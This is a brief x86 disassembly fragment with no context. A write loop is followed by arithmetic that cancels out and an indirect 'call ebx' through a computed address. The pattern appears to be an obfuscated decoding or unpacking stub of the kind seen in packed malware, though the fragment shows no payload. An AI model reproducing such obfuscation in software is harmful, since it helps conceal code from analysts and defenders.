sub dword [ebp - 0x3c], edx
mov dword [esi], edx
add dword [ebp - 4], edi
add esi, 0xec59e1b2
sub esi, 0xec59e1ae
add edi, 4
loop 0x101f6ba3
add eax, 0x5b2a54a
sub eax, 0x5b1da0f
xor ebx, ebx
add ebx, eax
add eax, 0x7bd8d019
add eax, 0x84272fec
mov ecx, 0xc0770b2c
add ecx, 0x4f88f4d4
add ecx, dword [ebp - 0x44]
call ebx
leave
ret